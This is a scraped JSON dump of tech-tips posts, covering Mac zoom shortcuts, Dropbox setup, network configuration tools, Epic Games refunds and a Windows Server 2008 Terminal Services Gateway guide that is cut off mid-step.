the top left hand corner.\n  Choose \"System Preferences\" in the drop down box.\n  Navigate to \"System\" and choose \"Universal Access.\" These are the features that are designed to enhance the display, the sound or other features for those that are impaired or need better access.\n  Choose the \"Seeing\" tab. View the center section that has \"Zoom\" options. If Zoom is turned off, click the button to turn it on. View the short cuts to zoom out, by pressing the \"Command,\" \"Option\" and minus sign buttons at once. You can zoom in by pressing Command, option and equals (plus) signs simultaneously. Learn the zoom short cut to turn the function on and off without going into Universal Access. You can press option, Command and number 8 while you are on the desktop to control this function. If your zoom function isn't working, your zoom is most likely turned off.  Method 2of 4:\nZoom with Mouse  Plug in a mouse with a wheel to your Mac computer.\n  Press the \"Control\" button.\n  Roll the mouse wheel up to zoom in while pressing Control. Roll the mouse wheel down to zoom out while pressing Control.\n Method 3of 4:\nZoom with a Track Pad  Hold down the Control key.\n  Take 2 fingers and swipe upward on the track pad simultaneously to zoom in.\n  Take 2 fingers, press the Control key and swipe down on the track pad to zoom out.\n Method 4of 4:\nZoom on a Browser  Open your Internet browser program on your Mac.\n  Navigate to the page you want to view.\n  Hold down the Command key.\n  Press the plus sign to zoom in. The browser will zoom incrementally the more times you press the plus sign.\n  Press the minus sign while you hold the Command key to zoom out. Press the minus sign repeatedly to keep zooming out. The browser method does not zoom other programs outside of your browser. It is simply to view web pages differently. Although the main browser programs, like Safari, Google Chrome and Firefox use this system of short cuts to zoom, other browsers may not react in the same way.   Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZrKfpLpuu9StZKimXZZ6rq3C\n","link":"/post/how-to-zoom-out-on-a-mac/","section":"post","tags":null,"title":"How to Zoom out on a Mac"},{"body":"Although you can freely use any web browser you like, the default browser is launched by Windows when clicking on links in email or Office documents. The article will quickly guide users how to change the default web browser in Windows.\nChange the default browser in Windows from Control Panel Click Start and select Control Panel .\n  Choose Programs .\n  If you don't see the Programs option, change the Control Panel's View Style. Click on the View option in the upper right corner of the control panel and select Category .\n  Now, click Default Programs .\n  Click Set Your Default Programs if the user wants to change the default programs that Windows will use to open the file.\n  The list of installed programs appears. Select the browser you want to use as the default and click Set this Program As Default .\n  Click Choose Default for this Program .\n  Windows will display a list of all supported file types. Select the type of file the user wants to open with the specified browser and click the Save button.\n  Set the default browser within the application As mentioned, we will put the default browser inside the application. Below are a few examples.\nMozilla Firefox Go to Options by clicking on the orange Firefox button and selecting Options .\n  Click on the Advanced tab. Under System Defaults, click Check Now to check the default browser.\n  If Firefox is not the default browser, a dialog box will appear asking if the user wants to set the program as the default browser. Click Yes to agree.\n  Google Chrome To turn Google Chrome into the default browser, click the wrench icon and select Settings .\n  In the Default Browser section, users can set Google Chrome as the default browser.\n  ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJa7qLXNoGStoJVisaaywK6jrWWnmq9urtGorqydomK2r3nWoqWdp6eoeng%3D\n","link":"/post/instructions-for-changing-the-default-web-browser-in-windows-7/","section":"post","tags":null,"title":"Instructions for changing the default web browser in Windows 7"},{"body":"Dropbox is a cloud-based storage service with many good features and utilities that allows us to download and sync documents, photos, videos anytime, anywhere on different devices such as computers, electricity. phone.\n  The following tutorial, TipsMake.com shows you how to register and install Dropbox on PC. Please follow along.\nStep 1: You access Dropbox at the following address https://www.dropbox.com.\nThen click Sign up for free .\n  Step 2: Enter the basic information for the account such as Name (1) , Last Name (2) , email address (3) , password (4) . After completing the information, you tick (5) to agree to the Dropbox terms and click Sign up (6) to complete the registration.\n  Step 3: After registering successfully, download and install Dropbox. Click on Download Dropbox .\n  Step 4: Click on the downloaded Dropbox installation file and click Run to continue.\n  Dropbox installation process will take 1-3 minutes depending on how fast your Internet is.\n  Step 5: After successful installation, the Dropbox account you registered on the web will automatically log in. Click Open my Dropbox to open Dropbox.\n  Step 6: Click on Get Started .\n  Step 7: Select Continue with Dropbox Basic .\n  After the notification in the Taskbar and the Dropbox folder appears as shown below, you have successfully registered Dropbox with 2GB of free storage. You can copy files and data to Dropbox folder and they will be stored on Dropbox service quickly. You can access your documents in the Dropbox folder anytime and anywhere on device platforms such as mobile, PC by downloading the Dropbox application appropriate for your device and signing in with your Dropbox account. .\n  After registering and installing Dropbox, we can share files and folders via Dropbox quickly and conveniently. You refer to how to do through the following article: http://TipsMake.vn/cach-chia-se-file-folder-in-dropbox/\nOr while you use Dropbox if you accidentally delete the wrong file, Dropbox has the feature to store deleted files and you can restore mistakenly deleted files from the Dropbox archive. Instructions to recover files deleted on Dropbox mistakenly, please review the following article http://TipsMake.vn/huong-dan-khoi-phuc-du-lieu-da-xoa-tren-dropbox/\nJust a few steps in the article, we can own a Dropbox account with 2GB of free storage anytime, anywhere. To increase Dropbox capacity, we have to upgrade to the Dropbox Business package to store larger amounts of data. If you don't need a lot of storage then we can upgrade for free up to 16GB. Please review the instructions to upgrade free Dropbox storage here: http://TipsMake.vn/cach-tang-dung-luong-dropbox-mien-phi/\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaqlZy2tMDEq6Cnn12Wu6V5yKeqrZmcobavs4ydqaiokqTF\n","link":"/post/instructions-for-registering-and-installing-dropbox/","section":"post","tags":null,"title":"Instructions for registering and installing Dropbox"},{"body":"Design inconsistencies have always been and will continue to be a problem with Windows 10. In fact, most of the criticism that Microsoft has received for Windows 10 is the lack of design consistency as well. like less developer friendly. Although Microsoft has made quite a number of notable changes to Windows 10 to attract developers, there are still many complaints from experts about Redmond's company being unable to resolve conflicts in The design is clearly visible on Windows 10 operating system as a whole.\nLast month, Panos Panay, Microsoft product manager, posted a video that suggested what future versions of Windows 10 might look like. This video has received quite a lot of compliments from the user community as well as the critics. Many people expressed their eagerness to wait for positive changes to be implemented on Windows 10, because so far, Panos Panay is not a 'joker'. This director is always very serious about each content he shares with the community.\nOf course, the innovations do not immediately appear but will be gradually researched and implemented. Recently, the famous designer, nicknamed Advan, has simulated the interface of a Windows operating system based on the ideas of Panos Panay as well as comments from leading experts of the Windows community around the world in a The video is Introducing Windows 20.\nThe Windows 20 concept of the Advan designer highlights the value of the Fluent Design philosophy that Microsoft has been actively promoting and applying to its products over the years. In addition, the concept seems to have solved the inconsistencies in the design of Windows 10. This can be seen clearly in the way the taskbar is customized - the location of applications in the taskbar can. changed from left to right center. In addition, the window interface also has a more seamless, intuitive and modern design.\nThe location of applications in the taskbar may be changed Advan also introduced a more modern File Explorer interface with the ability to have optimal support for the Tab, the new Settings application has finally been able to replace Control Panel, tablet mode (commendable tablet mode). Praise, Action Center with a modern design and a new search interface looks very similar to Spotlight Search in macOS.\nDo you think Microsoft should absorb some of the ideas in this concept? Please leave your comments!\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsCpu9Slm2aooqSvoq7LsmSgnaRiwLC5xGagnZ2RqHqnvs6mZK2gmah6uLXNnaawq11nfW6vzqeanqik\n","link":"/post/microsoft-should-probably-get-some-ideas-from-this-windows-20-concept/","section":"post","tags":null,"title":"Microsoft should probably get some ideas from this Windows 20 concept!"},{"body":"HMD Global is likely to launch Nokia 400, the world's first Android-powered smartphone at MWC 2020, to take place on February 23.\nAccording to the leaked information, Nokia 400 will support 4G, running Android-based GAFP operating system developed by Google specifically for basic phones. Nokia 400 can run applications like Chrome browser, YouTube, Google Assistant. However, it still has a physical keyboard, a small screen size and no touch like a regular phone.\nAt the moment, details about Nokia 400 have not been disclosed. We will have to wait until HMD Global officially introduces this Android brick phone to know more about how it works.\nAlong with Nokia 400, HMD Global may also introduce four more products at the MWC 2020 event including Nokia 1.3, Nokia 8.2, Nokia 5.2 and Nokia Original. In particular, Nokia 8.2 will also be a notable mid-range smartphone with a configuration including Qualcomm's new Snapdragon 765 chip, integrated 5G modem chip, 6GB or 8GB RAM options, 128GB or 256GB memory options. Nokia 8.2 5G is equipped with 32MP selfie camera, battery capacity of 3,500 mAh, has a 3.5mm jack and fingerprint sensor. The selling price of the device is about 505USD.\nVideo on hand quickly Galaxy Z Flip, Samsung's upcoming flip phone Black Shark 3, the first phone with 16GB RAM Why does the phone battery drop faster every winter? ncG1vNJzZmismaXArq3KnmWcp51ku7C3yJpkbWhgYsGpsYyfoKurpGKvs7XCpGSappSnvKqwjKmfqKaVYravedOhnGavn6e5pQ%3D%3D\n","link":"/post/nokia-400-the-first-brick-android-phone-in-the-world/","section":"post","tags":null,"title":"Nokia 400, the first 'brick' Android phone in the world"},{"body":"Networks are growing at an amazing speed. This growth not only reflects connectivity and the ability to do anything from anywhere, but also requires the right tools to manage that complexity.\nManaging configuration on hundreds of switches, routers, devices and controllers in different locations is not an easy task. Even the slightest change to such a distributed network can quickly get out of control, especially if the administrator intends to handle all operations manually.\nNetwork configuration management software is designed to help users somewhat. These tools enable the deployment of a new service, make extensive configuration changes, recover faulty devices, check configuration files for different standards, upgrade devices and more.\nNetwork configuration management with the following tools and software 1. SolarWinds NCM 2. Pulseway 3. BladeLogic Network Automation 4. ManageEngine Network Configuration Manager 5. rConfig 1. SolarWinds NCM   SolarWinds, the manufacturer is known for its specialized network management software, provides a fully configured NCM tool for network management.\nThe outstanding features of SolarWinds NCM include:\nSupport multiple vendors Reduce the time needed to manage important changes in the network The integrated troubleshooter helps identify and fix problems in the shortest time. Network automation takes on all repetitive tasks. Maintain standards and service levels to ensure uninterrupted service Standardized configuration is easy to deploy Quick recovery recovery Integrate with the National Vulnerability Database to ensure access to current CVE. In return, this helps to detect vulnerabilities early Provide detailed network information for Cisco ASA. Users can check Access Control Lists, manage firmware upgrades and perform backups of configuration files for Cisco ASA. Provide accurate information about hardware and software configurations, so that users know what is about to expire and end their life. Visual reports help better understand the network. 53 different reports created by SolarWinds NCM to provide users with all network details. The integrated control panel provides the option to lock the device to prevent unauthorized access Comprehensive access control Comes with High Availability option to protect against operating system failures and network connectivity problems. SolarWinds NCM comes with a fully functional free trial for 30 days.\nDownload the official trial version of SolarWinds NCM.\n2. Pulseway   Pulseway is a powerful network management and configuration software that works well on a variety of devices. It is highly scalable and this multi-account platform can be hosted on the cloud or Pulseway server.\nHere is what this tool can do:\nWorks well on Windows, Linux, Mac or any other system with the Pulseway monitoring API Create alerts immediately based on smart rules set by users. Compatible with most mobile devices and desktops, so users can access and order from anywhere. Users can create and deploy custom scripts to automate all network-related tasks. Remote computer feature makes it easy to manage any router, firewall or network device Provides access to the entire Active Directory forest with a simple connection to the domain controller All Pulseway connections use an encryption system based on RSA private / public encryption and 256-bit AES session encryption. Integrated with Webroot's machine learning technology, to protect against cyber threats Simplify monitoring and control of Microsoft Exchange platform VMware vSphere module provides a real-time overview of virtualization and virtual machines Allow posting to Slack channel when notifications are activated. Comes with many integrated reports that provide detailed information about the status of networks Pulseway antivirus software works with NCM to help secure the network completely. Pulseway has two packages - Free and Team. Team packages cost $ 1.32 (VND 30,000) / workstation / month for SaaS and $ 3.35 (78,000 VND) / workstation / month for on-premise (on-site installation).\nDownload the Pulseway (Free package).\n3. BladeLogic Network Automation   BladeLogic Network Automation from BMC Software helps businesses operate with the highest efficiency and the best level of security.\nHere are the main features of this software:\nIt detects network vulnerabilities in real time without compromising network performance. There are tools to ensure that standards compliant processes for HIPAA, PCI-DSS, NIST, SOX and CIS. Automate testing cycles and create integrated reports for these standards Can manage the network on all physical, virtual and cloud platforms from the control panel Simple interface and easy to use The extensive reporting tool provides a quick look at the 'health' of the network at any time. Allows creating scripts using SmartMerge technology to handle different configurations. In addition, it is possible to restore the entire configuration without having to reboot the device. Role-based access control helps share workload management safely. Improve operational productivity and increase device rate that each administrator can take responsibility for Ability to scan over a thousand devices in a minute. This helps reduce the work for IT developers, allowing them to focus on higher priority tasks. Download the trial version of BladeLogic Network Automation: http://www.bmcsoftware.in/it-solutions/free-product-trials.html\n4. ManageEngine Network Configuration Manager   ManageEngine is another big name in the field of network monitoring and configuration. This network configuration manager is a powerful and flexible network solution for configuring, managing and complying with network standards.\nThe main features of this tool include:\nSupport for devices from 22 suppliers including Cisco, HP, Juniper, Dell, Aruba, NETGEAR, Yamaha, Vanguard and many others. Automatically scan networks to identify new devices and add a variety of SNMP-enabled devices with just one click. This eliminates the hassle of manually adding each device. The configurations are categorized by version and stored in the database, so retrieving them when needed is easy. Encrypt and store device configuration in PostgreSQL database The control panel contains a list of all devices, so management is easy. Users can receive serial numbers, IP addresses, attributes and all other important information in one place. Provides the option to create scheduled tasks for backup, test and upload configurations. Provides role-based access controls Comes with an integrated configuration approval mechanism, in which top-level administrators check and approve configuration changes before it is deployed for any device. Use advanced automatic scripts to upgrade firmware remotely. You can download the free trial version of ManageEngine Network Configuration Manager here.\n5. rConfig   rConfig is a free, open source network configuration management software. It is a bit different from the other options available to choose the commands you want to run on the device.\nBasically, the user will have to configure rConfig with a set of commands for all categories, add the device to the list and create a scheduled task. The rest will be handled by rConfig.\nHere are some handy features of this tool:\nOpen source and free Provides the option to customize device commands, to meet specific user needs Support for batch configuration deployment Comes with integrated reports to better understand devices and networks. There is an extensive backup process Support for native PHP deployment Allow configuration download with just one click Comply with many standards such as HIPAA and PCI-DSS Comes with an integrated schedule based on CRON Provides support for Telnet and SSHv2 rConfig can be downloaded here or users can also get it from GitHub.\nIn short, network configuration management software helps to configure different devices and monitor the network for vulnerabilities, as well as manage various devices in it. The efficiency that these tools bring makes them an indispensable part of the ever-growing network world.\nSee more:\nThe best IPAM software and tool to manage IP addresses Top 10 best bandwidth monitoring software ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdo7K1w86romabn6OzqrPUq5itoZ%2Bjeq6tzZqenqWVo8FuwM6oo6xlkaOxbr%2FOn6uwmaKa\n","link":"/post/the-best-network-configuration-management-tools-and-software/","section":"post","tags":null,"title":"The best network configuration management tools and software"},{"body":"The Epic Games Store is not only the only place anyone can buy Fortnite, but it's also the exclusive site for many other video games.\nWhen you make a purchase on the Epic Games Store that you don't like, rest assured that everyone will get a full refund if certain conditions are met. Here's everything there is to know about Epic Games Store refunds.\nEpic Games Store Refund Policy Most games and software purchased on the Epic Games Store are eligible for a refund. If it cannot be returned, it will be tagged as Non-Refundable at the time of purchase. Things that are not returned are usually virtual currency, skins, and in-game items.\nTo be eligible for a refund, a buyer must request a refund within 14 days of purchase and have less than 2 hours of product use.\nIn addition, only games purchased directly on the Epic Games Store will be answered. In the case of purchasing a game through another entity/individual, people need to contact the original retailer.\n  Buyers will receive a refund for any in-game content purchases made for that game, as long as the content hasn't been used.\nFor pre-orders, buyers can cancel at any time for a full refund. Once the game is released, the usual return policy will apply.\nIf the Epic Games Stores terms of service are violated or have been banned from the game, the user will not be eligible for a refund and may also be denied a refund if EGS finds major abuse. book.\nAccording to Epic Games Stores, a refund policy exists so people can buy comfortably and make sure to spend only on games they really want and enjoy playing.\nOne of the most common reasons to ask for a refund is when you buy a game at its original price and it drops in price shortly after. With the usual refund conditions met (played for less than 2 hours and owned it for less than 14 days), EGS considers it a reasonable situation for a buyer to request a refund.\nHow to request a refund on the Epic Games Store   Step 1: Log in to the Epic Games Stores website. Buyers cannot use other apps for this.\nStep 2: Hover over your username in the upper right corner and click on Account.\nStep 3: On the left menu, click Transactions.\nStep 4: Click on the name of the purchased product that people want to claim a refund on.\nStep 5: Click Request Refund.\nStep 6: Choose a reason for the refund.\nStep 7: Click Confirm Refund. A confirmation message will appear at the top of the screen.\nOnce a refund has been requested, the amount will be returned to the original payment method within 1-7 business days. Some payment methods will be faster, even the refund will be instant.\nIf you've followed the steps above and don't see a link to request a refund and are certain you meet the refund conditions, people should manually request a refund via our support form. EGS.\nEpic Games Store ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdp7Knwc2doKefXay1prqMm6yyoZ6ceqitzJ6qZqeeYsGpsYyep6KbXZyurrHSZqqtp6Ka\n","link":"/post/tips-for-refunding-when-buying-games-on-the-epic-games-store/","section":"post","tags":null,"title":"Tips for refunding when buying games on the Epic Games Store"},{"body":" The 29 impromptu shooting moments are even more 'quality' than Photoshop images See 12 masterpieces of photos that have given the world \"cheated fruit\" in the past year 20 illustrations will make you review your wishes Photoshop is a great photo editing software with many advanced functions. However, only experts who really know how to use Photoshop can create a beautiful picture: they can better conceal any make-up artist and even they can create it. world in fantasy. Many people are inspired by their own photos and they start experimenting . but they don't always succeed.\nThe same is Photoshop software but under different adjustments, the photos are different . Of course, the level of bad beauty depends on the mind of the corrector. Photoshop is only useful when it falls into the hands of a photographer who has a mind, but when misfortune, anyone who is heartless will not only become useless, but the photos also turn into jokes for everyone .\nWe have synthesized 23 photos of \"laughs without mouth\" from Internet users , brave people and proud to share their works. Please take a look!\n1. Cat Kong: The cat's cat eats and rises on the roof of the city\n © pikabu\n2. Do not go to the beach, then flush the house and swim\n © pikabu\n3. Why is it so slow?\n © unknownauthor / imgur\n4. Somewhere in America\n © pikabu\n5. Straight Outta Compton - American Father Rap\n © unknownauthor / imgur\n6. Delicious .\n © pikabu\n7. Want to be a playboy but with the photo editor not mind!\n © pikabu\n8. The lotus kneels down for the body\n © fatcatart\n9. This shrill deer is a knight of Armageddon\n   © pikabu\n10. If you want to adjust the image that is hugging the dog, and meet someone who doesn't have the mind, it's both natural and short.\n   © markiplier / twitter\n11. We will help you make your dream come true in a snap\n © photoshopbattles / reddit\n12. People sit majestically, and I lie on the table.\n © theshitclockisticking / imgur\n13. Catch me, take me!\n © unknownauthor / imgur\n14. Thanks to the saints for more stimulation, anyone who thinks too much should turn into a thousand pounds of hair!\n © unknownauthor / imgur\n15. Stop eating squirrels if you don't want such tragedies!\n  16. The more romantic, the more muddy it is!\n © pikabu\n17. Working teamwork!\n  18. Let's go play together!\n © unknownauthor / imgur\n19. In the past, there was no camera to steal, there was a crystal ball.\n © pikabu\n20. Looking at the face, the students are like weightlifters.\n © unknownauthor / imgur\n21. Yes, not everyone is born with talent!\n © pikabu\n22. Round out round, chest attack ass defensive!\n © Niko_Toujan\n23. No one has taxed a dream, but a lover who doesn't have it has to make more money\n © banzai\nRefer to some other articles:\n27 images show that work risks are inevitable Die laughing with 30 design disasters of half-season designers 35 funny pictures make you believe that anything in this world can happen Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kuaLBxqGgp59dmbymv4ynpq1lo53CtXnUqWSwoaSdenN%2FjKmfqKyfqHqnrculoKefXZ67tbuMrZ%2BeZZiWu6W%2FjKidZqiYpMGwv8eop2avn6e4pr7SZq6irJikwrV5zKKlnQ%3D%3D\n","link":"/post/laughing-does-not-shut-up-with-23-photos-falling-into-the-hands-of-photoshop-workers-without-mind/","section":"post","tags":null,"title":"'Laughing does not shut up' with 23 photos falling into the hands of photoshop workers without mind"},{"body":"There are many applications on Google Play Store, including system-level applications, developer apps, utilities with a specific purpose and more. You probably already know about apps like Now Launcher, Gboard keyboard or Google Keep. These are quite familiar applications, and hidden in Google's app store are very interesting applications that you do not know.\nThere are many applications built for a specific purpose that Google has created for Android devices. Today's article will introduce Google's amazing Android app that few people know about.\n9 great Android apps from Google that you've never heard of 1. Wallpapers 2. PhotoScan by Google Photos 3. Snapseed 4. Google Fit 5. Google Opinion Rewards 6. Chrome Remote Desktop 7. Trusted Contacts 8. YouTube Kids 9. YouTube Go 1. Wallpapers   If you like satellite wallpapers on Pixel phones, then you'll love Google's Wallpapers app. The app brings a collection of wallpapers, from art to texture.\nBut the most interesting collection is Earth. You will find dozens of beautiful satellite images of our planet. And you can turn on the Daily Wallpaper feature to automatically switch between wallpapers in the gallery.\nDownload Wallpapers (free).\n2. PhotoScan by Google Photos   PhotoScan is an extension of Google Photos. This is a scanning application for old photos. Very easy to use application. You just need to hold your phone above a photo and move it according to the instructions from the application. The application will scan, combine and enhance image quality. The end result is surprising.\nThe application will not give you great quality like a physical scanner or a professional service. But as an app, PhotoScan is the best application to scan photos. It uses Google's artificial intelligence to correct colors and eliminate glare. In addition, you can automatically backup all scanned images directly into Google Photos.\nDownload PhotoScan by Google Photos (Free).\n3. Snapseed How to delete an image object using the Snapseed application   Snapseed is a photo editing application that Google bought a few years ago and so far, the application is still thriving. If you are looking for a free, powerful photo editor for basic editing or just to add filters to your photos, no application does better than Snapseed.\nThis application has no ads and its interface is quite simple. The application offers many different editing tools like Face Enhance, Healing, White Balance, Perspective, True Image, Crop, Rotate, etc. If you are a fan of black and white photos, you will really like the set. Collection of Drama filters.\nDownload Snapseed (Free).\n4. Google Fit   Unfortunately, Google Fit has not been pre-installed on all Android phone devices. Even if you are not particularly interested in exercise, you should still install this application and allow the application to monitor your activity in the background.\nYou will be surprised at the number of steps you have taken or the number of minutes you have been active in a day. You can use Google Fit to track your workouts, set goals, record your weight and more. In addition, it also integrates with fitness tracking applications like RunKeeper.\nDownload Google Fit (Free).\n5. Google Opinion Rewards   Opinion Rewards is a really simple application. You do some surveys, fill out some forms, share your opinions - and vice versa, you get bonuses on Google Play that you can use to buy apps, games, movies and more. It is a good way to earn a few extra dollars while watching TV.\nDownload Google Opinion Rewards (for free).\n6. Chrome Remote Desktop   There are several remote desktop control tools available for Android. Some applications have to pay, others are free but limited. If you don't want to have another application on your PC, you can only install the extension on the Chrome browser, to access your PC from anywhere in the world with your Android phone.\nChrome Remote Desktop works for all PCs and is not limited to Chrome browser. As long as both the PC and Android device are online, you will be able to access your computer safely.\nSee more article How to use Chrome Remote Desktop application on Android.\nDownload Chrome Remote Desktop (Free).\n7. Trusted Contacts   Trusted Contacts is the version for Google's Find My Friends app. You should install and configure the application on the device of family members, especially if you have small children. Trusted Contacts is not an active location tracking application. Trusted Contacts may require your location and you can refuse the request if you want. If you do not respond within 5 minutes, your location will be shared automatically.\nIf you turn on active tracking, the app will always share your location. This even works when you are offline. A case where this app is really useful is when you are traveling. Using Trusted Contacts, you can tell your loved ones that you are alright.\nDownload Trusted Contacts (Free).\n8. YouTube Kids   The easiest way to conquer a child is to allow them to play games or watch videos on the phone. Next time, use the YouTube Kids app.\nBoth content and design are customized for children. This app also has educational and entertaining content created specifically for children.\nDownload YouTube Kids (Free).\nHow to use Youtube Kids to protect children from malicious videos 9. YouTube Go   YouTube Go allows users to download videos to their devices in compressed format. In addition, two users who have installed the YouTube Go app can exchange videos between their devices.\nDownload YouTube Go (free).\nIf you continue to search in Google Play Store, you will find many surprising applications. Calculator application, as well as the Clock application available for download. However, Google's mobile app is limited to Pixel, Nexus, Android One and Google Play Edition devices.\nWhat is the useful Android app you find? Please share your comments in the comment section below!\nSee more:\nThe best Android apps To run Android applications on Windows computers, read this article Top VPN application for Android phones, the best iPhone to access blocked websites ncG1vNJzZmismaXArq3KnmWcp51khm6z0Z6YrWWRo7Gzu8idZJqooKh6p77OpmSgp5%2BcuaZ506GYrWWppMK3sYynnK%2BdomK1pq3RnWSong%3D%3D\n","link":"/post/9-great-android-apps-from-google-that-you-ve-never-heard-of/","section":"post","tags":null,"title":"9 great Android apps from Google that you've never heard of"},{"body":"After bringing familiar applications such as Lightroom and Photoshop Express, Adobe is now adding another photography application to mobile devices.\nThe application, called Adobe Photoshop Camera with AI integration, allows users to apply various filters and effects to edit photos in real time as soon as users take photos to take photos, (i.e. before press the shutter button).\n  Following Adobe's introduction, Photoshop Camera helps bring 'Photoshop-class magic' to the camera on your smartphone.\nAdobe said the Photoshop Camera application will be adding new filters created by artists and influencers in the future.\nWith this editing application, users can also change the background and add stickers to images in real time, and post edited photos directly to social networking platforms.\nPhotoshop Camera with the help of AI can observe and recognize what is happening in the image to suggest appropriate editing tools and effects, helping to automate complex effects that if done on photoshop will take hours.\nFor example, with photos of food, the application will provide a series of logical filters to help the product stand out, while with a landscape photo the application will give suggestions for optimal tools for editing the sky .\nAdobe will officially release Photoshop Camera for Android in 2020. Currently, users can register early access to the application.\nAdobe Photoshop full version officially launched on iPad, fully functional and Apple Pencil compatible Adobe Aero officially launches, promising to bring the AR content creation experience on mobile devices to a new level ncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5kpZmlo7CpsdJmmGaln5e2rbGMr5yrq5mku267xWanoaekpMCpu88%3D\n","link":"/post/adobe-launches-a-mobile-version-of-photoshop/","section":"post","tags":null,"title":"Adobe launches a mobile version of Photoshop"},{"body":"Thomas Shinder\nMicrosoft security administrators are always a little wary of launching Terminal Servers on the Internet. The reason is because there is not yet a possibility to authenticate connections or user policies to determine which users can access the Terminal Server. The lack of pre-assessment is a really difficult problem. Without pre-authentication, anonymous users can enhance anonymous connections that compromise with the published Terminal Server. A compromised Terminal Server becomes a serious vulnerability to your network, since the attacker can then access the entire operating system and perform attacks. In response to these difficulties, Windows Server 2008 provides you with a solution to this security problem: Terminal Services Gateway. Using the Terminal Services Gateway you can authenticate users beforehand and control which Terminal Servers users can access based on personal and policy information. This feature also allows you to have more subtle control over what you need to ensure that you have a secure remote access RDP solution. In this two-part series, we will learn how to work with Terminal Servers solutions, using the lab network shown below. The arrows represent the direction of communication from the external RDP client to the Terminal Server.\n  Figure 1\nEach server in this scenario is using Windows Server 2008 Enterprise Edition. In this example network, we are using a Windows Server 2008 NAT server as an Internet gateway. You can use any other simple NAT device or be a packet filtering router like a PIX, or even an advanced firewall like the Microsoft ISA Firewall. The main configuration option here is to direct TCP port 443 connections to the Terminal Service Gateway computer.\nThe domain controller has DNS, DHCP, Certificate Services in Enterprise CA mode and WINS already installed. The Terminal Server has only one basic operating system installed. We will install other services throughout this series. The TS Gateway has only one basic operating system installed. We will also install other services. This series will describe the processes and procedures that need to be taken to run a basic solution:\nInstall Terminal Services and Terminal Services Licensing on the Terminal Server\n Terminal Services Licensing configuration\n Desktop Experience installation on Terminal Server (optional)\n Configure Terminal Services Licensing mode\n Install Terminal Services Gateway Service on Terminal Services Gateway\n Certificate request for Terminal Services Gateway\n Configure the Terminal Services Gateway to use the certificate\n Create Terminal Services Gateway RAP\n Create Terminal Services Gateway CAP\n Configure the RDP Client to be able to use the Terminal Services Gateway\n Install Terminal Services and Terminal Services Licensing on the Terminal Server The first step is to install Terminal Services on the Terminal Services computer. Follow the steps below to install Terminal Services and Terminal Services Licensing: 1. On the Terminal Server computer, open Server Manager . In Server Manager , click the Roles button in the left pane of the console. 2. Click the Add Roles link in the right pane of the console\n  Figure 2\n3. Click Next on the Before You Begin page 4. On the Before You Begin page, put a checkmark in the Terminal Services checkbox, and then click Next .\n  Figure 3\n5. Click Next in the Terminal Services page 6. In the Select Role Services window, check the Terminal Server and TS Licensing checkboxes. Click Next .\n  Figure 4\n7. Click Next in the Uninstall and Reinstall Application for Compatibility window 8. In the Specify Authentication Method for Terminal Server window, select Require Network Level Authentication . You can choose from each of your scenarios because we are only using Vista SP1 clients to connect to the Terminal Server through the TS Gateway. We will not be able to use this option if we need to support Windows XP SP2 clients. However, you can support Network Level Authentication with Windows XP SP3. But we have not confirmed this yet, so please check the release notes for Windows XP SP3. Click Next .\n  Figure 5\n9. On the Specify Licensing Mode page , select the Configure later option. You can choose another option but in this example we choose Configure later to tell you where to configure the subscription mode in the Terminal Services console. Click Next .\n  Figure 6\n10. In Select Use Groups Allowed Access To This Terminal Server , use the default options. You can add or delete groups if you want to refine more than access control on the Terminal Server. However, if all users have to go through the Terminal Services Gateway, you can control who connects to the Terminal Server using the TS Gateway policy settings. Leave the default settings and click Next .\n  Figure 7\n11. In the Configure Discovery Scope page for TS Licensing , select this Domain option. Select this option in the scenario because we only have one domain. If you have a multi-domain forest, you can consider choosing the Forest option. Click Next .\n  Figure 8\n12. In Confirm Installation Selections , checking the warning indicator may require reinstalling the applications installed on this computer if you want them to work properly in the Terminal Services session environment. You should also note that IE Enhanced Security Configuration will be disabled. Click Install .\n  Figure 9\n13. In the Installation Results window you will see a warning asking you to restart the server to complete the installation. Click Close .\n  Figure 10\n14. Click Yes in the Add Roles Wizard dialog box, the dialog box asks if you want to restart the server. 15. Login as an administrator. The installation will continue after a few minutes because the Installation Progress page appears after the Server Manager appears. 16. Click Close on the Installation Results page after seeing the successful installation of Installation succeeded .\n  Figure 11\n17. You can see the message that Terminal Services licensing mode is not configured - meaning that the Terminal Services subscription mode is not configured . You can dismiss this notification because we will switch to configuring Terminal Services Licensing, then configure the registration mode on the Terminal Server.\n  Figure 12\nConfigure the registration on Terminal Services Now we are ready to configure Terminal Services Licensing. The example uses some dummy data, which is not true for the actual requirements for registering Terminal Services client connections, but it will provide an example of how this process will work. Do not perform the same procedure that I introduced here to register Terminal Services clients because you have to do with the real registration requirements. Follow the steps below to enable your Terminal Services Licensing Server: 1. From the Administrative Tools menu, click Terminal Services , and then click TS Licensing Manager . 2. In the TS Licensing Manager console, right-click the server name in the left pane of the interface. Click Activate Server .\n  Figure 13\n3. Click Next in the Welcome to the Activate Server Wizard page . 4. On the Connection Method page, select the Connection (recommended) then click Next .\n  Figure 14\n5. In the Company Information page, enter the company information and click Next .\n  Figure 15\n6. Enter optional information if you prefer on the Company Information page, and then click Next .\n  Figure 16\n7. On the Completing the Activate Server Wizard page , make sure the Start Install Licenses Wizard option is selected, then click Next .\n  Figure 17\n8. Click Next on the Welcome to the Install Licenses Wizard page . 9. In the License Program page, click the down arrow on the License program list and select the registration program that you performed. In this example we will select the Other agreement because this lab is not implemented in any subscription program. Click Next .\n  Figure 18\n10. On the License Program page, enter the Agreement number . In this example we enter a simple number 1234567 . Click Next .\n  Figure 19\n11. On the Product Version and License Type page , select the Product version , License type and Quantity corresponding to the needs of your environment. In this lab setup, we are using Windows Server 2008 Terminal Servers, so choose Windows Server 2008 . Using user CALs in this example network, we selected Windows Server 2008 TS Per User CAL . Enter 50 in the Quantity text box and click Next .\n  Figure 20\n12. Click Finish on the Completing the Install Licenses Wizard page Install Desktop Experience on Terminal Server (optional) When Windows Vista clients connect to the Windows Server 2008 Terminal Server, they can have the same desktop experience as Vista in the Terminal Services session if you install the Desktop Experience option on the Terminal Server. Follow the steps below to install the Desktop Experience Feature for Terminal Server: 1. On the Select Features page, 